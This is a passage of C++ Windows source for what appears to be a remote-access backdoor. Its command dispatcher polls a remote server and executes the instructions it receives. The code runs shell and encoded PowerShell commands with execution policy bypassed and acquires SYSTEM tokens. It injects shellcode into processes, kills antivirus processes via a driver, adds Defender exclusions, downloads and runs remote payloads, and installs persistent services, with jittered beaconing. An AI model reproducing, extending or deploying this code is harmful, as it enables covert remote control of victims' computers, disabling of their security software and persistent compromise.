cmdExe.c_str(), args.c_str(), false); CloseHandle(tok); return ok; } static bool RunFilePathCurrent(const std::wstring& path, const std::wstring& args) { std::wstring full = MakeCommandLineFromPath(path, args); return RunCommandLineCurrent(full); } static bool RunFilePathUser(const std::wstring& path, const std::wstring& args) { std::wstring full = MakeCommandLineFromPath(path, args); return RunCommandLineAsUser(full); } static bool RunFilePathSystem(const std::wstring& path, const std::wstring& args) { HANDLE tok = AcquireSystemToken(); if (!tok) return false; std::wstring cleanPath = TrimQuotes(path); bool ok = StartProcessAsSystem( tok, cleanPath.c_str(), args.empty() ? nullptr : args.c_str(), false); CloseHandle(tok); return ok; } static bool KillProcessCloud(DWORD pid) { if (pid == 0 || pid == 4) return false; if (EnsureDriverLoaded() && TerminateProcessViaDriver(pid)) return true; HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if (!h) return false; BOOL ok = TerminateProcess(h, 0); CloseHandle(h); return ok == TRUE; } static bool StartServiceByName(const std::wstring& name) { if (name.empty()) return false; SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); if (!scm) return false; SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_START | SERVICE_QUERY_STATUS); if (!svc) { CloseServiceHandle(scm); return false; } SERVICE_STATUS st{}; bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; if (!running) { if (!StartServiceW(svc, 0, nullptr)) { DWORD e = GetLastError(); if (e != ERROR_SERVICE_ALREADY_RUNNING) { CloseServiceHandle(svc); CloseServiceHandle(scm); return false; } } } CloseServiceHandle(svc); CloseServiceHandle(scm); return true; } static std::wstring RegReadGuardConfig(const wchar_t* name) { std::wstring out; HKEY h = nullptr; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS) return out; DWORD type = 0; DWORD size = 0; if (RegQueryValueExW(h, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS || (type != REG_SZ && type != REG_EXPAND_SZ) || size == 0) { RegCloseKey(h); return out; } std::vector buf(size / sizeof(wchar_t) + 1); if (RegQueryValueExW(h, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) out = buf.data(); RegCloseKey(h); return out; } static DWORD RegReadGuardDword(const wchar_t* name, DWORD fallback) { HKEY h = nullptr; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) != ERROR_SUCCESS) return fallback; DWORD value = 0; DWORD size = sizeof(value); DWORD type = 0; DWORD result = fallback; if (RegQueryValueExW(h, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && type == REG_DWORD) { result = value; } RegCloseKey(h); return result; } static bool RegWriteGuardDword(const wchar_t* name, DWORD value) { HKEY h = nullptr; if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr) != ERROR_SUCCESS) { return false; } bool ok = RegSetValueExW(h, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS; RegCloseKey(h); return ok; } static std::wstring ServiceStateOf(const std::wstring& name); static std::wstring DriverStatusString() { const bool device = OpenDriver(); if (device) CloseDriver(); std::wstring service = RegReadGuardConfig(L"DriverService"); if (service.empty()) service = L"ArDrv"; std::wostringstream os; os << L"device=" << (device ? L"ok" : L"unavailable") << L" embedded=" << EmbeddedDriverSize() << L" fail=" << RegReadGuardDword(L"DriverFailCount", 0) << L"/" << RegReadGuardDword(L"DriverFailMax", 3) << L" state=" << (RegReadGuardConfig(L"DriverState").empty() ? L"unset" : RegReadGuardConfig(L"DriverState")) << L" service=" << service << L":" << ServiceStateOf(service); return os.str(); } static std::wstring ServiceStateOf(const std::wstring& name){ if (name.empty()) return L"unset"; SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); if (!scm) return L"scm-denied"; SC_HANDLE svc = OpenServiceW(scm, name.c_str(), SERVICE_QUERY_STATUS); std::wstring state = L"missing"; if (svc) { SERVICE_STATUS st{}; if (QueryServiceStatus(svc, &st)) { switch (st.dwCurrentState) { case SERVICE_RUNNING: state = L"running"; break; case SERVICE_STOPPED: state = L"stopped"; break; case SERVICE_START_PENDING: state = L"start-pending"; break; case SERVICE_STOP_PENDING: state = L"stop-pending"; break; case SERVICE_PAUSED: state = L"paused"; break; default: state = L"state-" + std::to_wstring(st.dwCurrentState); break; } } else { state = L"query-failed"; } CloseServiceHandle(svc); } CloseServiceHandle(scm); return state; } static std::wstring GetStatusString() { std::wostringstream os; os << L"pid=" << GetCurrentProcessId() << L" system=" << (IsCurrentProcessSystem() ? 1 : 0) << L" admin=" << (IsProcessAdmin() ? 1 : 0) << L" sid=" << GetProcessSidString(); std::wstring driver = RegReadGuardConfig(L"DriverServiceName"); std::wstring guard = RegReadGuardConfig(L"GuardServiceName"); std::wstring repair = RegReadGuardConfig(L"RepairServiceName"); if (!driver.empty() || !guard.empty() || !repair.empty()) { os << L" driver=" << (driver.empty() ? L"unset" : driver) << L":" << ServiceStateOf(driver) << L" guard=" << (guard.empty() ? L"unset" : guard) << L":" << ServiceStateOf(guard) << L" repair=" << (repair.empty() ? L"unset" : repair) << L":" << ServiceStateOf(repair); } return os.str(); } static bool ProcessCommand(const std::wstring& commandLine, std::wstring& result, bool& stop) { stop = false; result.clear(); std::wstring cmd = commandLine; TrimW(cmd); if (cmd.empty()) return false; size_t sp = cmd.find(L' '); std::wstring op = sp == std::wstring::npos ? cmd : cmd.substr(0, sp); std::wstring rest = sp == std::wstring::npos ? std::wstring() : cmd.substr(sp + 1); TrimW(rest); if (_wcsicmp(op.c_str(), L"HELP") == 0) { result = L"Commands:\r\n" L"PING\r\n" L"STATUS\r\n" L"HELP\r\n" L"RUN \r\n" L"EXEC \r\n" L"RUN_USER \r\n" L"RUN_SYSTEM \r\n" L"PS \r\n" L"PS_USER \r\n" L"RUNFILE [args]\r\n" L"RUNFILE_USER [args]\r\n" L"RUNFILE_SYSTEM [args]\r\n" L"OPENFILE [args]\r\n" L"OPENFILE_USER [args]\r\n" L"KILLPID \r\n" L"KILLNAME \r\n" L"KILLALL \r\n" L"KILLAV\r\n" L"KILLAV_DRYRUN\r\n" L"HOST_LIST\r\n" L"HOST_SPAWN [--host ] [args]\r\n" L"HOST_SPAWN_USER [--host ] [args]\r\n" L"HOST_INJECT [--host ]\r\n" L"HOST_TRACK\r\n" L"HOST_UNTRACK\r\n" L"STAGE_STATUS\r\n" L"STAGE_INJECT [--host ]\r\n" L"STAGE_RUN \r\n" L"STAGE_STOP\r\n" L"EXCLUSION_LIST\r\n" L"EXCLUSION_ADD \r\n" L"EXCLUSION_APPLY\r\n" L"DRIVER_STATUS\r\n" L"DRIVER_RESET\r\n" L"TOKEN_GET\r\n" L"DRIVER_LOAD\r\n" L"INJECT_FILE \r\n" L"INJECT_SUSPEND \r\n" L"INSTALL_SERVICE [binary-path]\r\n" L"INSTALL_CLOUD_SERVICE \r\n" L"INSTALL_GUARD_SERVICES [--target ] [--target-service ] [--args ]\r\n" L"DOWNLOAD [sha256]\r\n" L"DEPLOY [args]\r\n" L"DEPLOY_SYSTEM [args]\r\n" L"START_SERVICE [binary-path]\r\n" L"SERVICE_STATUS \r\n" L"STOP"; return true; } if (_wcsicmp(op.c_str(), L"PING") == 0) { result = L"PONG"; return true; } if (_wcsicmp(op.c_str(), L"STATUS") == 0) { result = GetStatusString(); return true; } if (_wcsicmp(op.c_str(), L"RUN") == 0) { if (rest.empty()) { result = L"ERR_USAGE RUN "; return false; } std::wstring full = L"cmd.exe /C "; full += rest; result = RunCommandLineCurrent(full) ? L"OK" : L"ERR RUN"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"EXEC") == 0) { if (rest.empty()) { result = L"ERR_USAGE EXEC "; return false; } result = RunCommandLineCurrent(rest) ? L"OK" : L"ERR EXEC"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"RUN_USER") == 0) { if (rest.empty()) { result = L"ERR_USAGE RUN_USER "; return false; } std::wstring full = L"cmd.exe /C "; full += rest; result = RunCommandLineAsUser(full) ? L"OK" : L"ERR RUN_USER"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"RUN_SYSTEM") == 0) { if (rest.empty()) { result = L"ERR_USAGE RUN_SYSTEM "; return false; } result = RunCommandLineAsSystem(rest) ? L"OK" : L"ERR RUN_SYSTEM"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"PS") == 0) { if (rest.empty()) { result = L"ERR_USAGE PS "; return false; } std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest)); std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand "; full += encoded; result = RunCommandLineCurrent(full) ? L"OK" : L"ERR PS"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"PS_USER") == 0) { if (rest.empty()) { result = L"ERR_USAGE PS_USER "; return false; } std::wstring encoded = Utf16(Base64EncodeUtf16LE(rest)); std::wstring full = L"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand "; full += encoded; result = RunCommandLineAsUser(full) ? L"OK" : L"ERR PS_USER"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"RUNFILE") == 0 || _wcsicmp(op.c_str(), L"RUNFILE_USER") == 0 || _wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0) { const bool asUser = (_wcsicmp(op.c_str(), L"RUNFILE_USER") == 0); const bool asSystem = (_wcsicmp(op.c_str(), L"RUNFILE_SYSTEM") == 0); if (rest.empty()) { result = asSystem ? L"ERR_USAGE RUNFILE_SYSTEM [args]" : (asUser ? L"ERR_USAGE RUNFILE_USER [args]" : L"ERR_USAGE RUNFILE [args]"); return false; } size_t pos = 0; std::wstring path; if (!ParseToken(rest, pos, path)) { result = L"ERR_USAGE PATH"; return false; } while (pos < rest.size() && iswspace(rest[pos])) ++pos; std::wstring args = rest.substr(pos); TrimW(args); bool ok = false; if (asSystem) ok = RunFilePathSystem(path, args); else if (asUser) ok = RunFilePathUser(path, args); else ok = RunFilePathCurrent(path, args); result = ok ? L"OK" : L"ERR RUNFILE"; return ok; } if (_wcsicmp(op.c_str(), L"OPENFILE") == 0 || _wcsicmp(op.c_str(), L"OPENFILE_USER") == 0) { const bool asUser = (_wcsicmp(op.c_str(), L"OPENFILE_USER") == 0); if (rest.empty()) { result = asUser ? L"ERR_USAGE OPENFILE_USER [args]" : L"ERR_USAGE OPENFILE [args]"; return false; } size_t pos = 0; std::wstring path; if (!ParseToken(rest, pos, path)) { result = L"ERR_USAGE PATH"; return false; } while (pos < rest.size() && iswspace(rest[pos])) ++pos; std::wstring args = rest.substr(pos); TrimW(args); if (asUser) { std::wstring full = L"cmd.exe /C start \"\" "; full += QuotePathIfNeeded(path); if (!args.empty()) { full += L" "; full += args; } result = RunCommandLineAsUser(full) ? L"OK" : L"ERR OPENFILE_USER"; } else { result = RunShellExecuteCurrent(path, args) ? L"OK" : L"ERR OPENFILE"; } return result == L"OK"; } if (_wcsicmp(op.c_str(), L"KILLPID") == 0) { DWORD pid = (DWORD)wcstoul(rest.c_str(), nullptr, 10); if (pid == 0) { result = L"ERR_USAGE KILLPID "; return false; } result = KillProcessCloud(pid) ? L"OK" : L"ERR KILLPID"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"KILLNAME") == 0) { if (rest.empty()) { result = L"ERR_USAGE KILLNAME "; return false; } DWORD pid = GetPidByName(rest.c_str()); result = (pid && KillProcessCloud(pid)) ? L"OK" : L"ERR KILLNAME"; return result == L"OK"; } if (_wcsicmp(op.c_str(), L"KILLALL") == 0) { if (rest.empty()) { result = L"ERR_USAGE KILLALL "; return false; } int killed = 0; for (int i = 0; i < 20; ++i) { DWORD pid = GetPidByName(rest.c_str()); if (pid == 0) break; if (KillProcessCloud(pid)) ++killed; Sleep(50); } std::wostringstream os; os << L"OK killed=" << killed; result = os.str(); return true; } if (_wcsicmp(op.c_str(), L"KILLAV") == 0 || _wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0) { const bool dryRun = (_wcsicmp(op.c_str(), L"KILLAV_DRYRUN") == 0); EnsureDriverLoaded(); std::wstring summary; if (!KillAVProcessesEx(dryRun, summary)) { result = L"OK " + summary; return true; } result = L"OK " + summary; return true; } if (_wcsicmp(op.c_str(), L"HOST_INJECT") == 0) { size_t pos = 0; std::wstring token; std::wstring preferred; if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) { ParseToken(rest, pos, preferred); } else { pos = 0; } std::wstring path; if (!ParseToken(rest, pos, path)) { result = L"ERR_USAGE HOST_INJECT [--host ]"; return false; } // Allow trailing "--host " after the path too. std::wstring trailing; if (ParseToken(rest, pos, trailing) && _wcsicmp(trailing.c_str(), L"--host") == 0) ParseToken(rest, pos, preferred); HostInjectResult r = InjectShellcodeIntoHost(path, preferred, true); result = FormatInjectResult(r); return r.ok; } if (_wcsicmp(op.c_str(), L"HOST_TRACK") == 0) { result = FormatHostTrack(LoadHostTrack()); return true; } if (_wcsicmp(op.c_str(), L"HOST_UNTRACK") == 0) { bool ok = ClearHostTrack(); result = ok ? L"OK cleared" : L"ERR nothing to clear"; return ok; } if (_wcsicmp(op.c_str(), L"DRIVER_STATUS") == 0) { result = DriverStatusString(); return true; } if (_wcsicmp(op.c_str(), L"DRIVER_RESET") == 0) { bool ok = RegWriteGuardDword(L"DriverFailCount", 0); if (ok) RegWriteGuardDword(L"DriverState", 0); result = std::wstring(ok ? L"OK counters cleared" : L"ERR registry write denied") + L" | " + DriverStatusString(); return ok; } if (_wcsicmp(op.c_str(), L"EXCLUSION_LIST") == 0) { std::wstring note; std::vector current = QueryExclusions(note); result = L"defender=" + std::wstring(DefenderPresent() ? L"present" : L"absent") + L" current=" + note; if (!current.empty()) result += L"\r\n" + FormatExclusionList(current); std::vector wanted = LoadExclusionList(); if (!wanted.empty()) result += L"\r\nwanted:\r\n" + FormatExclusionList(wanted); return true; } if (_wcsicmp(op.c_str(), L"EXCLUSION_ADD") == 0) { if (rest.empty()) { result = L"ERR_USAGE EXCLUSION_ADD "; return false; } std::vector paths = LoadExclusionList(); bool exists = false; for (const auto& p : paths) { if (_wcsicmp(p.c_str(), rest.c_str()) == 0) exists = true; } if (!exists) paths.push_back(rest); bool saved = SaveExclusionList(paths); std::wstring report; bool applied = ApplyExclusions(paths, report); result = std::wstring(saved ? L"saved" : L"save-failed") + (applied ? L" applied" : L" refused") + L"\r\n" + report; return applied; } if (_wcsicmp(op.c_str(), L"EXCLUSION_APPLY") == 0) { std::vector paths = LoadExclusionList(); if (paths.empty()) { paths = DefaultExclusionPaths(); SaveExclusionList(paths); } std::wstring report; bool applied = ApplyExclusions(paths, report); result = (applied ? L"applied" : L"refused") + std::wstring(L"\r\n") + report; return applied; } if (_wcsicmp(op.c_str(), L"STAGE_STATUS") == 0) { result = FormatStageStatus(); return true; } if (_wcsicmp(op.c_str(), L"STAGE_INJECT") == 0) { size_t pos = 0; std::wstring token; std::wstring preferred; if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) ParseToken(rest, pos, preferred); HostInjectResult r = StageInject(L"", preferred, true); result = FormatInjectResult(r); if (r.ok) result += L" | " + FormatStageStatus(); return r.ok; } if (_wcsicmp(op.c_str(), L"STAGE_RUN") == 0) { if (rest.empty()) { result = L"ERR_USAGE STAGE_RUN "; return false; } std::wstring response; if (!StageSend(L"RUN " + rest, response)) { result = L"ERR stage not reachable"; return false; } result = response; return true; } if (_wcsicmp(op.c_str(), L"STAGE_STOP") == 0) { std::wstring response; if (!StageSend(L"STOP", response)) { result = L"ERR stage not reachable"; return false; } result = response; return true; } if (_wcsicmp(op.c_str(), L"HOST_LIST") == 0) { result = FormatHostList(EnumerateSystemHosts()); return true; } if (_wcsicmp(op.c_str(), L"HOST_SPAWN") == 0 || _wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0) { const bool userSession = (_wcsicmp(op.c_str(), L"HOST_SPAWN_USER") == 0); size_t pos = 0; std::wstring token; std::wstring preferred; if (ParseToken(rest, pos, token) && _wcsicmp(token.c_str(), L"--host") == 0) { if (!ParseToken(rest, pos, preferred)) { result = L"ERR_USAGE HOST_SPAWN [--host ] [args]"; return false; } } else { pos = 0; } std::wstring exe; if (!ParseToken(rest, pos, exe)) { result = userSession ? L"ERR_USAGE HOST_SPAWN_USER [--host ] [args]" : L"ERR_USAGE HOST_SPAWN [--host ] [args]"; return false; } std::wstring args = pos < rest.size() ? rest.substr(pos) : std::wstring(); TrimW(args); std::wstring cmd = MakeCommandLineFromPath(exe, args); SpawnResult r = SpawnThroughHost(cmd, preferred, userSession); result = FormatSpawnResult(r); return r.ok; } if (_wcsicmp(op.c_str(), L"TOKEN_GET") == 0) { HANDLE tok = AcquireSystemToken(); if (tok) { CloseHandle(tok); result = L"OK"; return true; } result = L"ERR TOKEN_GET"; return false; } if (_wcsicmp(op.c_str(), L"DRIVER_LOAD") == 0) { bool ok = EnsureDriverLoaded(); result = ok ? L"OK" : L"ERR DRIVER_LOAD"; return ok; } if (_wcsicmp(op.c_str(), L"INJECT_FILE") == 0) { size_t pos = 0; std::wstring pidStr; std::wstring path; if (!ParseToken(rest, pos, pidStr) || !ParseToken(rest, pos, path)) { result = L"ERR_USAGE INJECT_FILE "; return false; } DWORD pid = (DWORD)wcstoul(pidStr.c_str(), nullptr, 10); if (pid == 0) { result = L"ERR_USAGE INJECT_FILE "; return false; } std::vector shell; if (!ReadFileToMemory(path.c_str(), shell)) { result = L"ERR INJECT_FILE read"; return false; } HANDLE sys = AcquireSystemToken(); if (sys) ImpersonateLoggedOnUser(sys); bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size()); if (sys) { RevertToSelf(); CloseHandle(sys); } result = ok ? L"OK" : L"ERR INJECT_FILE"; return ok; } if (_wcsicmp(op.c_str(), L"INJECT_SUSPEND") == 0) { size_t pos = 0; std::wstring exePath; std::wstring shellPath; if (!ParseToken(rest, pos, exePath) || !ParseToken(rest, pos, shellPath)) { result = L"ERR_USAGE INJECT_SUSPEND "; return false; } std::vector shell; if (!ReadFileToMemory(shellPath.c_str(), shell)) { result = L"ERR INJECT_SUSPEND read"; return false; } HANDLE tok = AcquireSystemToken(); if (!tok) { result = L"ERR INJECT_SUSPEND token"; return false; } NewProcInfo info{}; if (!CreateProcessSuspendedAsSystem(tok, exePath.c_str(), nullptr, false, &info)) { CloseHandle(tok); result = L"ERR INJECT_SUSPEND create"; return false; } bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size()); CloseHandle(tok); result = ok ? L"OK" : L"ERR INJECT_SUSPEND"; return ok; } if (_wcsicmp(op.c_str(), L"INSTALL_GUARD_SERVICES") == 0) { wchar_t module[MAX_PATH]{}; DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); if (n == 0 || n >= _countof(module)) { result = L"ERR INSTALL_GUARD_SERVICES path"; return false; } std::wstring full = L"\""; full += module; full += L"\" -install-guard-services"; if (!rest.empty()) { full += L" "; full += rest; } bool ok = RunCommandLineCurrent(full); result = ok ? L"OK" : L"ERR INSTALL_GUARD_SERVICES"; return ok; } if (_wcsicmp(op.c_str(), L"DOWNLOAD") == 0) { size_t pos = 0; std::wstring url; std::wstring outPath; std::wstring sha; if (!ParseToken(rest, pos, url) || !ParseToken(rest, pos, outPath)) { result = L"ERR_USAGE DOWNLOAD [sha256]"; return false; } ParseToken(rest, pos, sha); std::wstring error; if (!DownloadUrlToFile(url, outPath, sha, error)) { result = L"ERR DOWNLOAD " + error; return false; } std::wstring saved = TrimQuotes(outPath); std::wstring hash = Sha256OfFile(saved); result = L"OK " + saved + (hash.empty() ? L"" : L" sha256=" + hash); return true; } if (_wcsicmp(op.c_str(), L"DEPLOY") == 0 || _wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0) { const bool asSystem = (_wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0); size_t pos = 0; std::wstring url; if (!ParseToken(rest, pos, url)) { result = asSystem ? L"ERR_USAGE DEPLOY_SYSTEM [args]" : L"ERR_USAGE DEPLOY [args]"; return false; } std::wstring args = rest.substr(pos); TrimW(args); std::wstring target = GetPayloadDir() + L"\\" + FileNameFromUrl(url); std::wstring error; if (!DownloadUrlToFile(url, target, L"", error)) { result = L"ERR DEPLOY " + error; return false; } bool ok = asSystem ? RunFilePathSystem(target, args) : RunFilePathCurrent(target, args); result = ok ? (asSystem ? L"OK SYSTEM " : L"OK ") + target : (asSystem ? L"ERR DEPLOY_SYSTEM " : L"ERR DEPLOY ") + target; return ok; } if (_wcsicmp(op.c_str(), L"INSTALL_CLOUD_SERVICE") == 0) { if (rest.empty()) { result = L"ERR_USAGE INSTALL_CLOUD_SERVICE "; return false; } wchar_t module[MAX_PATH]{}; DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); if (n == 0 || n >= _countof(module)) { result = L"ERR INSTALL_CLOUD_SERVICE path"; return false; } std::wstring bin = L"\""; bin += module; bin += L"\" -cloud-service --service-name \""; bin += rest; bin += L"\""; if (!g_activeCloudConfig.agent.empty()) { bin += L" --agent \""; bin += g_activeCloudConfig.agent; bin += L"\""; } if (!g_activeCloudConfig.url.empty()) { bin += L" --url \""; bin += g_activeCloudConfig.url; bin += L"\""; } if (!g_activeCloudConfig.secret.empty()) { bin += L" --secret \""; bin += g_activeCloudConfig.secret; bin += L"\""; } bin += L" --interval "; bin += std::to_wstring(g_activeCloudConfig.intervalMs); if (g_allowVm) bin += L" --allow-vm"; bin += L" --elevated"; bool ok = EnsureWin32Service(rest.c_str(), bin.c_str(), true); result = ok ? L"OK" : L"ERR INSTALL_CLOUD_SERVICE"; return ok; } if (_wcsicmp(op.c_str(), L"INSTALL_SERVICE") == 0 || _wcsicmp(op.c_str(), L"START_SERVICE") == 0) { const bool startNow = (_wcsicmp(op.c_str(), L"START_SERVICE") == 0); size_t pos = 0; std::wstring name; std::wstring path; if (!ParseToken(rest, pos, name)) { result = startNow ? L"ERR_USAGE START_SERVICE [binary-path]" : L"ERR_USAGE INSTALL_SERVICE [binary-path]"; return false; } if (!ParseToken(rest, pos, path)) { if (startNow) { bool ok = StartServiceByName(name); result = ok ? L"OK" : L"ERR START_SERVICE"; return ok; } wchar_t module[MAX_PATH]{}; DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); if (n == 0 || n >= _countof(module)) { result = L"ERR INSTALL_SERVICE path"; return false; } path = module; } bool ok = EnsureWin32Service(name.c_str(), path.c_str(), startNow); result = ok ? L"OK" : L"ERR SERVICE"; return ok; } if (_wcsicmp(op.c_str(), L"SERVICE_STATUS") == 0) { if (rest.empty()) { result = L"ERR_USAGE SERVICE_STATUS "; return false; } result = IsServiceRunning(rest.c_str()) ? L"RUNNING" : L"STOPPED"; return true; } if (_wcsicmp(op.c_str(), L"STOP") == 0) { stop = true; result = L"OK STOP"; return true; } result = L"ERR UNKNOWN"; return false; } static void SetCurrentDirectoryToModuleDir() { wchar_t path[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, path, _countof(path)); if (len == 0 || len >= _countof(path)) return; std::wstring p = path; size_t pos = p.find_last_of(L"\\"); if (pos != std::wstring::npos) p = p.substr(0, pos); SetCurrentDirectoryW(p.c_str()); } static bool StartupActions(const CloudConfig& cfg) { SetCurrentDirectoryToModuleDir(); if (cfg.startDriver) { bool ok = EnsureDriverLoaded(); Log(L"[cloud] startup driver loaded=%d", ok ? 1 : 0); } if (!cfg.startupFile.empty()) { std::wstring path = TrimQuotes(cfg.startupFile); if (cfg.startupAsUser) { std::wstring cmd = L"cmd.exe /C start \"\" "; cmd += QuotePathIfNeeded(path); if (!cfg.startupArgs.empty()) { cmd += L" "; cmd += cfg.startupArgs; } RunCommandLineAsUser(cmd); } else { RunShellExecuteCurrent(path, cfg.startupArgs); } } if (!cfg.startupCommand.empty()) { std::wstring result; bool stop = false; ProcessCommand(cfg.startupCommand, result, stop); if (stop) return false; } return true; } static DWORD Jitter(DWORD baseMs) { if (baseMs < 1000) baseMs = 1000; LARGE_INTEGER li{}; QueryPerformanceCounter(&li); DWORD seed = (DWORD)(li.LowPart ^ (DWORD)GetCurrentProcessId()); return baseMs / 2 + (seed % (baseMs + 1)); } static bool SleepWithStop(DWORD ms, HANDLE stopEvent) { if (!stopEvent) { Sleep(ms); return false; } return WaitForSingleObject(stopEvent, ms) == WAIT_OBJECT_0; } // Recently executed command ids. The server requeues commands that were claimed // but never acknowledged (180s reaper), so a slow command could otherwise run // twice. A short memory of what we already did makes the retry a no-op. static std::deque g_executed; static const size_t kExecutedMemory = 512; static bool AlreadyExecuted(const std::wstring& id) { return std::find(g_executed.begin(), g_executed.end(), id) != g_executed.end(); } static void RememberExecuted(const std::wstring& id) { if (id.empty()) return; g_executed.push_back(id); while (g_executed.size() > kExecutedMemory) g_executed.pop_front(); } static void RunLoop(const CloudConfig& cfg, HANDLE stopEvent = nullptr) { DWORD backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs; while (true) { if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0) break; CloudCommand cmd; if (PollCommand(cfg, cmd)) { backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs; // Re-delivery of something we already ran: acknowledge and move on. if (!cmd.id.empty() && AlreadyExecuted(cmd.id)) { AckCommand(cfg, cmd.id, L"OK (dup, not re-executed)"); if (SleepWithStop(250, stopEvent)) break; continue; } std::wstring result; bool stop = false; ProcessCommand(cmd.text, result, stop); RememberExecuted(cmd.id); AckCommand(cfg, cmd.id, result); if (stop) break; if (SleepWithStop(250, stopEvent)) break; } else { // Worker unreachable or queue empty: escalate the wait up to 15s. if (SleepWithStop(Jitter(backoffMs), stopEvent)) break; if (backoffMs < 15000) { backoffMs *= 2; if (backoffMs > 15000) backoffMs = 15000; } } } } static bool ParseConfig(int argc, wchar_t** argv, CloudConfig& cfg) { std::wstring agent; std::wstring url; std::wstring secret; std::wstring intervalS; std::wstring startupFile; std::wstring startupArgs; std::wstring startupCommand; bool haveStartDriver = false; bool startDriver = true; bool startupAsUser = false; for (int i = 1; i < argc; ++i) { std::wstring a = argv[i]; if (a == L"--elevated") { cfg.elevatedRequested = true; continue; } if (i + 1 < argc && a == L"--service-name") { g_serviceName = argv[++i]; continue; } if (a == L"--start-driver") { startDriver = true; haveStartDriver = true; continue; } if (a == L"--no-start-driver") { startDriver = false; haveStartDriver = true; continue; } if (a == L"--startup-user") { startupAsUser = true; continue; } if (i + 1 < argc && a == L"--agent") { agent = argv[++i]; continue; } if (i + 1 < argc && a == L"--url") { url = argv[++i]; continue; } if (i + 1 < argc && a == L"--secret") { secret = argv[++i]; continue; } if (i + 1 < argc && a == L"--interval") { intervalS = argv[++i]; continue; } if (i + 1 < argc && a == L"--startup-file") { startupFile = argv[++i]; continue; } if (i + 1 < argc && a == L"--startup-args") { startupArgs = argv[++i]; continue; } if (i + 1 < argc && a == L"--startup-command") { startupCommand = argv[++i]; continue; } if (a.empty() || a[0] == L'-') continue; if (agent.empty()) agent = a; else if (url.empty()) url = a; else if (secret.empty()) secret = a; else if (intervalS.empty()) intervalS = a; } cfg.agent = agent.empty() ? ConfigValue(L"CA_AGENT_ID", L"AgentId", L"") : agent; if (cfg.agent.empty()) cfg.agent = L"default"; cfg.url = url.empty() ? ConfigValue(L"CA_URL", L"Url", L"") : url; if (!cfg.url.empty() && cfg.url.find(L"://") == std::wstring::npos) cfg.url = L"https://" + cfg.url; cfg.secret = secret.empty() ? ConfigValue(L"CA_SECRET", L"Secret", L"") : secret; // Per-agent key issued by enrollment, stored next to the host tracking file. if (cfg.secret.empty()) cfg.secret = ReadAgentKeyFile(cfg.agent); std::wstring interval = intervalS.empty() ? ConfigValue(L"CA_INTERVAL", L"IntervalMs", L"") : intervalS; DWORD v = (DWORD)wcstoul(interval.c_str(), nullptr, 10); cfg.intervalMs = (v >= 1000) ? v : 15000; if (!haveStartDriver) startDriver = ConfigBool(L"CA_START_DRIVER", L"StartDriver", true); cfg.startDriver = startDriver; cfg.startupFile = startupFile.empty() ? ConfigValue(L"CA_STARTUP_FILE", L"StartupFile", L"") : startupFile; cfg.startupArgs = startupArgs.empty() ? ConfigValue(L"CA_STARTUP_ARGS", L"StartupArgs", L"") : startupArgs; cfg.startupCommand = startupCommand.empty() ? ConfigValue(L"CA_STARTUP_COMMAND", L"StartupCommand", L"") : startupCommand; if (!startupAsUser) startupAsUser = ConfigBool(L"CA_STARTUP_USER", L"StartupUser", false); cfg.startupAsUser = startupAsUser; return !cfg.url.empty() && !cfg.secret.empty(); } static VOID WINAPI CloudServiceMain(DWORD argc, LPWSTR* argv) { (void)argc; (void)argv; g_serviceStatusHandle = RegisterServiceCtrlHandlerExW( g_serviceName.c_str(), ServiceCtrlHandler, nullptr); if (!g_serviceStatusHandle) return; g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_serviceStatus.dwCurrentState = SERVICE_START_PENDING; g_serviceStatus.dwControlsAccepted = 0; g_serviceStatus.dwWin32ExitCode = NO_ERROR; g_serviceStatus.dwWaitHint = 5000; g_serviceStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr); if (!g_serviceStopEvent) { ReportServiceStatus(SERVICE_STOPPED, GetLastError()); return; } if (!g_serviceConfigValid) { Log(L"[-] Cloud service: invalid config"); CloseHandle(g_serviceStopEvent); g_serviceStopEvent = nullptr; ReportServiceStatus(SERVICE_STOPPED, ERROR_INVALID_PARAMETER); return; } 